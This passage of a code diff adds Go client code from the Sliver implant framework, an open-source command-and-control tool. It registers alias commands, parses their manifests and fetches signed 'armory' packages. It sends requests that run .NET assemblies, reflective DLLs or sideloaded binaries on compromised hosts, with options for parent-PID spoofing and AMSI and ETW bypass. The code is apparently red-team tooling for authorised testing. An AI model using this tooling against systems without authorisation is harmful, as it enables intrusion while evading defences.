+		f := pflag.NewFlagSet("assembly", pflag.ContinueOnError)
+		f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
+		f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
+		f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+		f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+		f.BoolP("in-process", "i", false, "Run in the current sliver process")
+		f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
+		f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+		f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+		addAliasCmd.Flags().AddFlagSet(f)
+	}
+
+	f := pflag.NewFlagSet(aliasManifest.Name, pflag.ContinueOnError)
+	f.StringP("process", "p", "", "Path to process to host the shared object")
+	f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
+	f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
+	f.BoolP("save", "s", false, "Save output to disk")
+	f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
+	addAliasCmd.Flags().AddFlagSet(f)
+
+	cmd.AddCommand(addAliasCmd)
+
+	// Have to use a global map here, as passing the aliasCmd
+	// either by value or by ref fucks things up
+	loadedAliases[aliasManifest.CommandName] = &loadedAlias{
+		Manifest: aliasManifest,
+		Command:  addAliasCmd,
+	}
+
+	return aliasManifest, nil
+}
+
+// ParseAliasManifest - Parse an alias manifest
+func ParseAliasManifest(data []byte) (*AliasManifest, error) {
+	// parse it
+	alias := &AliasManifest{}
+	err := json.Unmarshal(data, alias)
+	if err != nil {
+		return nil, err
+	}
+	if alias.Name == "" {
+		return nil, fmt.Errorf("missing alias name in manifest")
+	}
+	if alias.CommandName == "" {
+		return nil, fmt.Errorf("missing command.name in alias manifest")
+	}
+	if alias.Help == "" {
+		return nil, fmt.Errorf("missing command.help in alias manifest")
+	}
+
+	for _, aliasFile := range alias.Files {
+		if aliasFile.OS == "" {
+			return nil, fmt.Errorf("missing command.files.os in alias manifest")
+		}
+		aliasFile.OS = strings.ToLower(aliasFile.OS)
+		if aliasFile.Arch == "" {
+			return nil, fmt.Errorf("missing command.files.arch in alias manifest")
+		}
+		aliasFile.Arch = strings.ToLower(aliasFile.Arch)
+		aliasFile.Path = util.ResolvePath(aliasFile.Path)
+		if aliasFile.Path == "" || aliasFile.Path == "/" {
+			return nil, fmt.Errorf("missing command.files.path in alias manifest")
+		}
+	}
+
+	return alias, nil
+}
+
+func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
+
+	loadedAlias, ok := loadedAliases[cmd.Name()]
+	if !ok {
+		con.PrintErrorf("No alias found for `%s` command\n", cmd.Name())
+		return
+	}
+	aliasManifest := loadedAlias.Manifest
+	binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
+	if err != nil {
+		con.PrintErrorf("Fail to find alias file: %s\n", err)
+		return
+	}
+	// args := ctx.Args.StringList("arguments")
+	var extArgs string
+	if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
+		extArgs = aliasManifest.DefaultArgs
+	} else {
+		extArgs = strings.Join(args, " ")
+	}
+
+	extArgs = strings.TrimSpace(extArgs)
+	entryPoint := aliasManifest.Entrypoint
+	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
+	// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
+	// The Donut loader has a hard limit of 256 characters for the command line arguments, so
+	// we're alerting the user that the arguments will be truncated.
+	if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
+		msgStr := ""
+		// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
+		// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
+		// if the flag is not registered.
+		if aliasManifest.IsAssembly {
+			inProcess, _ := cmd.Flags().GetBool("in-process")
+			runtime, _ := cmd.Flags().GetString("runtime")
+			amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
+			etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
+			if !inProcess {
+				msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
+			}
+			if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
+				con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
+				return
+			}
+		} else if !aliasManifest.IsReflective {
+			msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
+		}
+		con.PrintWarnf(msgStr)
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
+	processArgs := strings.Split(processArgsStr, " ")
+	processName, _ := cmd.Flags().GetString("process")
+	if processName == "" {
+		processName, err = aliasManifest.getDefaultProcess(goos)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	isDLL := false
+	if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
+		isDLL = true
+	}
+	binData, err := os.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	var outFilePath *os.File
+	if save, _ := cmd.Flags().GetBool("save"); save {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(session.GetHostname())))
+		outFilePath, err = os.CreateTemp("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+
+	if aliasManifest.IsAssembly {
+
+		// Flags
+		arch, _ := cmd.Flags().GetString("arch")
+		method, _ := cmd.Flags().GetString("method")
+		className, _ := cmd.Flags().GetString("class")
+		appDomain, _ := cmd.Flags().GetString("app-domain")
+		pPid, _ := cmd.Flags().GetUint32("ppid")
+		inProcess, _ := cmd.Flags().GetBool("in-process")
+		runtime, _ := cmd.Flags().GetString("runtime")
+		amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
+		etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
+
+		// Execute Assembly
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
+		con.SpinUntil(msg, ctrl)
+		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+			Request:     con.ActiveTarget.Request(cmd),
+			IsDLL:       isDLL,
+			Process:     processName,
+			Arguments:   extArgs,
+			Assembly:    binData,
+			Arch:        arch,
+			Method:      method,
+			ClassName:   className,
+			AppDomain:   appDomain,
+			ProcessArgs: processArgs,
+			PPid:        pPid,
+			InProcess:   inProcess,
+			Runtime:     runtime,
+			AmsiBypass:  amsiBypass,
+			EtwBypass:   etwBypass,
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
+			con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, executeAssemblyResp)
+				if err != nil {
+					con.PrintErrorf("Failed to decode call ext response %s\n", err)
+					return
+				}
+				PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
+			})
+			con.PrintAsyncResponse(executeAssemblyResp.Response)
+		} else {
+			PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
+		}
+
+	} else if aliasManifest.IsReflective {
+		// Flags
+		pPid, _ := cmd.Flags().GetUint32("ppid")
+
+		// Spawn DLL
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
+		con.SpinUntil(msg, ctrl)
+		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+			Request:     con.ActiveTarget.Request(cmd),
+			Args:        strings.Trim(extArgs, " "),
+			Data:        binData,
+			ProcessName: processName,
+			EntryPoint:  aliasManifest.Entrypoint,
+			Kill:        true,
+			ProcessArgs: processArgs,
+			PPid:        pPid,
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
+			con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, spawnDllResp)
+				if err != nil {
+					con.PrintErrorf("Failed to decode call ext response %s\n", err)
+					return
+				}
+				PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
+			})
+			con.PrintAsyncResponse(spawnDllResp.Response)
+		} else {
+			PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
+		}
+
+	} else {
+		// Flags
+		pPid, _ := cmd.Flags().GetUint32("ppid")
+
+		// Sideload
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
+		con.SpinUntil(msg, ctrl)
+		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+			Request:     con.ActiveTarget.Request(cmd),
+			Args:        extArgs,
+			Data:        binData,
+			EntryPoint:  entryPoint,
+			ProcessName: processName,
+			Kill:        true,
+			IsDLL:       isDLL,
+			ProcessArgs: processArgs,
+			PPid:        pPid,
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		if sideloadResp.Response != nil && sideloadResp.Response.Async {
+			con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, sideloadResp)
+				if err != nil {
+					con.PrintErrorf("Failed to decode call ext response %s\n", err)
+					return
+				}
+				PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
+			})
+			con.PrintAsyncResponse(sideloadResp.Response)
+		} else {
+			PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
+		}
+	}
+}
+
+// PrintSpawnDLLOutput - Prints the output of a spawn dll command
+func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
+	con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(spawnDllResp.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}
+
+// PrintSideloadOutput - Prints the output of a sideload command
+func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
+	con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(sideloadResp.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}
+
+// PrintAssemblyOutput - Prints the output of an execute-assembly command
+func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
+	con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
+	if outFilePath != nil {
+		outFilePath.Write(execAsmResp.GetOutput())
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}
+
+func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
+	filtersOS := make(map[string]bool)
+	filtersArch := make(map[string]bool)
+
+	var all []string
+
+	// Only add filters for architectures when there OS matters.
+	for _, file := range alias.Files {
+		filtersOS[file.OS] = true
+
+		if filtersOS[file.OS] {
+			filtersArch[file.Arch] = true
+		}
+	}
+
+	for os, enabled := range filtersOS {
+		if enabled {
+			all = append(all, os)
+		}
+	}
+
+	for arch, enabled := range filtersArch {
+		if enabled {
+			all = append(all, arch)
+		}
+	}
+
+	if len(all) == 0 {
+		return map[string]string{}
+	}
+
+	return map[string]string{
+		app.CommandFilterKey: strings.Join(all, ","),
+	}
+}
@@ -0,0 +1,77 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+)
+
+// AliasesRemoveCmd - Locally load a alias into the Sliver shell.
+func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	name := args[0]
+	// name := ctx.Args.String("name")
+	if name == "" {
+		con.PrintErrorf("Extension name is required\n")
+		return
+	}
+	confirm := false
+	prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
+	survey.AskOne(prompt, &confirm)
+	if !confirm {
+		return
+	}
+	err := RemoveAliasByCommandName(name, con)
+	if err != nil {
+		con.PrintErrorf("Error removing alias: %s\n", err)
+		return
+	} else {
+		con.PrintInfof("Alias '%s' removed\n", name)
+	}
+}
+
+// RemoveAliasByCommandName - Remove an alias by command name
+func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClient) error {
+	if commandName == "" {
+		return errors.New("command name is required")
+	}
+	if _, ok := loadedAliases[commandName]; !ok {
+		return errors.New("alias not loaded")
+	}
+	delete(loadedAliases, commandName)
+	// con.App.Commands().Remove(commandName)
+	extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
+	if _, err := os.Stat(extPath); os.IsNotExist(err) {
+		return nil
+	}
+	err := os.RemoveAll(extPath)
+	if err != nil {
+		return err
+	}
+
+	return nil
+}
@@ -0,0 +1,542 @@
+package armory
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/base64"
+	"errors"
+	"fmt"
+	"net/url"
+	"sync"
+	"time"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"golang.org/x/term"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/alias"
+	"github.com/bishopfox/sliver/client/command/extensions"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+)
+
+// ArmoryIndex - Index JSON containing alias/extension/bundle information
+type ArmoryIndex struct {
+	ArmoryConfig *assets.ArmoryConfig `json:"-"`
+	Aliases      []*ArmoryPackage     `json:"aliases"`
+	Extensions   []*ArmoryPackage     `json:"extensions"`
+	Bundles      []*ArmoryBundle      `json:"bundles"`
+}
+
+// ArmoryPackage - JSON metadata for alias or extension
+type ArmoryPackage struct {
+	Name        string `json:"name"`
+	CommandName string `json:"command_name"`
+	RepoURL     string `json:"repo_url"`
+	PublicKey   string `json:"public_key"`
+
+	IsAlias bool `json:"-"`
+}
+
+// ArmoryBundle - A list of packages
+type ArmoryBundle struct {
+	Name     string   `json:"name"`
+	Packages []string `json:"packages"`
+}
+
+// ArmoryHTTPConfig - Configuration for armory HTTP client
+type ArmoryHTTPConfig struct {
+	ArmoryConfig         *assets.ArmoryConfig
+	IgnoreCache          bool
+	ProxyURL             *url.URL
+	Timeout              time.Duration
+	DisableTLSValidation bool
+}
+
+type indexCacheEntry struct {
+	ArmoryConfig *assets.ArmoryConfig
+	RepoURL      string
+	Fetched      time.Time
+	Index        ArmoryIndex
+	LastErr      error
+}
+
+type pkgCacheEntry struct {
+	ArmoryConfig *assets.ArmoryConfig
+	RepoURL      string
+	Fetched      time.Time
+	Pkg          ArmoryPackage
+	Sig          minisign.Signature
+	Alias        *alias.AliasManifest
+	Extension    *extensions.ExtensionManifest
+	LastErr      error
+}
+
+var (
+	// public key -> armoryCacheEntry
+	indexCache = sync.Map{}
+	// public key -> armoryPkgCacheEntry
+	pkgCache = sync.Map{}
+
+	// cacheTime - How long to cache the index/pkg manifests
+	cacheTime = time.Hour
+
+	// This will kill a download if exceeded so needs to be large
+	defaultTimeout = 15 * time.Minute
+)
+
+// ArmoryCmd - The main armory command
+func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	armoriesConfig := assets.GetArmoriesConfig()
+	con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
+	clientConfig := parseArmoryHTTPConfig(cmd)
+	indexes := fetchIndexes(armoriesConfig, clientConfig)
+	if len(indexes) != len(armoriesConfig) {
+		con.Printf("errors!\n")
+		indexCache.Range(func(key, value interface{}) bool {
+			cacheEntry := value.(indexCacheEntry)
+			if cacheEntry.LastErr != nil {
+				con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
+			}
+			return true
+		})
+	} else {
+		con.Printf("done!\n")
+	}
+
+	if 0 < len(indexes) {
+		con.PrintInfof("Fetching package information ... ")
+		fetchPackageSignatures(indexes, clientConfig)
+		errorCount := 0
+		aliases := []*alias.AliasManifest{}
+		exts := []*extensions.ExtensionManifest{}
+		pkgCache.Range(func(key, value interface{}) bool {
+			cacheEntry := value.(pkgCacheEntry)
+			if cacheEntry.LastErr != nil {
+				errorCount++
+				if errorCount == 0 {
+					con.Printf("errors!\n")
+				}
+				con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
+			} else {
+				if cacheEntry.Pkg.IsAlias {
+					aliases = append(aliases, cacheEntry.Alias)
+				} else {
+					exts = append(exts, cacheEntry.Extension)
+				}
+			}
+			return true
+		})
+		if errorCount == 0 {
+			con.Printf("done!\n")
+		}
+		if 0 < len(aliases) || 0 < len(exts) {
+			con.Println()
+			PrintArmoryPackages(aliases, exts, con)
+		} else {
+			con.PrintInfof("No packages found\n")
+		}
+
+		con.Println()
+		bundles := bundlesInCache()
+		if 0 < len(bundles) {
+			PrintArmoryBundles(bundles, con)
+		} else {
+			con.PrintInfof("No bundles found\n")
+		}
+	} else {
+		con.PrintInfof("No indexes found\n")
+	}
+}
+
+func refresh(clientConfig ArmoryHTTPConfig) {
+	armoriesConfig := assets.GetArmoriesConfig()
+	indexes := fetchIndexes(armoriesConfig, clientConfig)
+	fetchPackageSignatures(indexes, clientConfig)
+}
+
+func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
+	aliases := []*alias.AliasManifest{}
+	exts := []*extensions.ExtensionManifest{}
+	pkgCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(pkgCacheEntry)
+		if cacheEntry.LastErr == nil {
+			if cacheEntry.Pkg.IsAlias {
+				aliases = append(aliases, cacheEntry.Alias)
+			} else {
+				exts = append(exts, cacheEntry.Extension)
+			}
+		}
+		return true
+	})
+	return aliases, exts
+}
+
+func bundlesInCache() []*ArmoryBundle {
+	bundles := []*ArmoryBundle{}
+	indexCache.Range(func(key, value interface{}) bool {
+		indexBundles := value.(indexCacheEntry).Index.Bundles
+		bundles = append(bundles, indexBundles...)
+		return true
+	})
+	return bundles
+}
+
+// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
+func AliasExtensionOrBundleCompleter() carapace.Action {
+	comps := func(ctx carapace.Context) carapace.Action {
+		var action carapace.Action
+
+		results := []string{}
+		aliases, exts := packagesInCache()
+		bundles := bundlesInCache()
+
+		for _, aliasPkg := range aliases {
+			results = append(results, aliasPkg.CommandName)
+			results = append(results, aliasPkg.Help)
+		}
+		aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
+		results = make([]string, 0)
+
+		for _, extensionPkg := range exts {
+			results = append(results, extensionPkg.CommandName)
+			results = append(results, extensionPkg.Help)
+		}
+		extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
+		results = make([]string, 0)
+
+		for _, bundle := range bundles {
+			results = append(results, bundle.Name)
+		}
+		bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx)
+
+		return action.Invoke(ctx).Merge(
+			aliasesComps,
+			extentionComps,
+			bundleComps,
+		).ToA()
+	}
+
+	return carapace.ActionCallback(comps)
+}
+
+// PrintArmoryPackages - Prints the armory packages
+func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
+	width, _, err := term.GetSize(0)
+	if err != nil {
+		width = 1
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + "Packages" + console.Normal)
+
+	urlMargin := 150 // Extra margin needed to show URL column
+
+	if con.Settings.SmallTermWidth+urlMargin < width {
+		tw.AppendHeader(table.Row{
+			"Command Name",
+			"Version",
+			"Type",
+			"Help",
+			"URL",
+		})
+	} else {
+		tw.AppendHeader(table.Row{
+			"Command Name",
+			"Version",
+			"Type",
+			"Help",
+		})
+	}
+
+	// Columns start at 1 for some dumb reason
+	tw.SortBy([]table.SortBy{
+		{Number: 1, Mode: table.Asc},
+	})
+
+	type pkgInfo struct {
+		CommandName string
+		Version     string
+		Type        string
+		Help        string
+		URL         string
+	}
+	entries := []pkgInfo{}
+	for _, aliasPkg := range aliases {
+		entries = append(entries, pkgInfo{
+			CommandName: aliasPkg.CommandName,
+			Version:     aliasPkg.Version,
+			Type:        "Alias",
+			Help:        aliasPkg.Help,
+			URL:         aliasPkg.RepoURL,
+		})
+	}
+	for _, extension := range exts {
+		entries = append(entries, pkgInfo{
+			CommandName: extension.CommandName,
+			Version:     extension.Version,
+			Type:        "Extension",
+			Help:        extension.Help,
+			URL:         extension.RepoURL,
+		})
+	}
+
+	sliverMenu := con.App.Menu("implant")
+
+	rows := []table.Row{}
+	for _, pkg := range entries {
+		color := console.Normal
+		if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
+			color = console.Green
+		}
+		if con.Settings.SmallTermWidth+urlMargin < width {
+			rows = append(rows, table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
+			})
+		} else {
+			rows = append(rows, table.Row{
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
+				fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
+			})
+		}
+	}
+	tw.AppendRows(rows)
+	con.Printf("%s\n", tw.Render())
+}
+
+// PrintArmoryBundles - Prints the armory bundles
+func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + "Bundles" + console.Normal)
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Contains",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+	for _, bundle := range bundles {
+		if len(bundle.Packages) < 1 {
+			continue
+		}
+		packages := bundle.Packages[0]
+		if 1 < len(packages) {
+			packages += ", "
+		}
+		for index, pkgName := range bundle.Packages[1:] {
+			if index%5 == 4 {
+				packages += pkgName + "\n"
+			} else {
+				packages += pkgName
+				if index != len(bundle.Packages)-2 {
+					packages += ", "
+				}
+			}
+		}
+		tw.AppendRow(table.Row{
+			bundle.Name,
+			packages,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}
+
+func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
+	var proxyURL *url.URL
+	rawProxyURL, _ := cmd.Flags().GetString("proxy")
+	if rawProxyURL != "" {
+		proxyURL, _ = url.Parse(rawProxyURL)
+	}
+
+	timeout := defaultTimeout
+	rawTimeout, _ := cmd.Flags().GetString("timeout")
+	if rawTimeout != "" {
+		var err error
+		timeout, err = time.ParseDuration(rawTimeout)
+		if err != nil {
+			timeout = defaultTimeout
+		}
+	}
+
+	ignoreCache, _ := cmd.Flags().GetBool("ignore-cache")
+	disableTLSValidation, _ := cmd.Flags().GetBool("insecure")
+
+	return ArmoryHTTPConfig{
+		IgnoreCache:          ignoreCache,
+		ProxyURL:             proxyURL,
+		Timeout:              timeout,
+		DisableTLSValidation: disableTLSValidation,
+	}
+}
+
+// fetch armory indexes, only returns indexes that were fetched successfully
+// errors are still in the cache objects however and can be checked
+func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
+	wg := &sync.WaitGroup{}
+	for _, armoryConfig := range armoryConfigs {
+		wg.Add(1)
+		go fetchIndex(armoryConfig, clientConfig, wg)
+	}
+	wg.Wait()
+	indexes := []ArmoryIndex{}
+	indexCache.Range(func(key, value interface{}) bool {
+		cacheEntry := value.(indexCacheEntry)
+		if cacheEntry.LastErr == nil {
+			indexes = append(indexes, cacheEntry.Index)
+		}
+		return true
+	})
+	return indexes
+}
+
+func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
+	defer wg.Done()
+	cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
+	if ok {
+		cached := cacheEntry.(indexCacheEntry)
+		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
+			return
+		}
+	}
+
+	armoryResult := &indexCacheEntry{
+		ArmoryConfig: armoryConfig,
+		RepoURL:      armoryConfig.RepoURL,
+	}
+	defer func() {
+		armoryResult.Fetched = time.Now()
+		indexCache.Store(armoryConfig.PublicKey, *armoryResult)
+	}()
+
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		armoryResult.LastErr = err
+		return
+	}
+	if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
+		armoryResult.LastErr = errors.New("invalid repo url scheme in index")
+		return
+	}
+
+	var index *ArmoryIndex
+	if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
+		index, err = indexParser(armoryConfig, clientConfig)
+	} else {
+		index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
+	}
+	if index != nil {
+		armoryResult.Index = *index
+	}
+	if err != nil {
+		armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
+	}
+}
+
+func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
+	wg := &sync.WaitGroup{}
+	for _, index := range indexes {
+		for _, armoryPkg := range index.Extensions {
+			wg.Add(1)
+			armoryPkg.IsAlias = false
+			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
+		}
+		for _, armoryPkg := range index.Aliases {
+			wg.Add(1)
+			armoryPkg.IsAlias = true
+			go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
+		}
+	}
+	wg.Wait()
+}
+
+func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
+	defer wg.Done()
+	cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
+	if ok {
+		cached := cacheEntry.(pkgCacheEntry)
+		if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
+			return
+		}
+	}
+
+	pkgCacheEntry := &pkgCacheEntry{
+		ArmoryConfig: armoryConfig,
+		RepoURL:      armoryPkg.RepoURL,
+	}
+	defer func() {
+		pkgCacheEntry.Fetched = time.Now()
+		pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
+	}()
+
+	repoURL, err := url.Parse(armoryPkg.RepoURL)
+	if err != nil {
+		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
+		return
+	}
+	if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
+		pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
+		return
+	}
+
+	var sig *minisign.Signature
+	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
+		sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
+	} else {
+		sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
+	}
+	if err != nil {
+		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+		return
+	}
+	if sig != nil {
